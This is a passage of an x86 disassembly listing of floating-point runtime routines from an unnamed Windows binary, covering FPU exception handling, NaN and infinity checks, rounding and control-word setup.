CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43D320, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB928, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43D320, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 26603CAh mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43CF20 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43CF10 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43CF20 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43CF20 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43CF10 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43CF10 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB928, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB928, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43CE38 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43CF10 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43CE3C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43CF38 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43CF38 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43CF44 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2680D15h test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26B02D3h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43CBB4, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C9A8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43CBB8 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43CBB8 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz 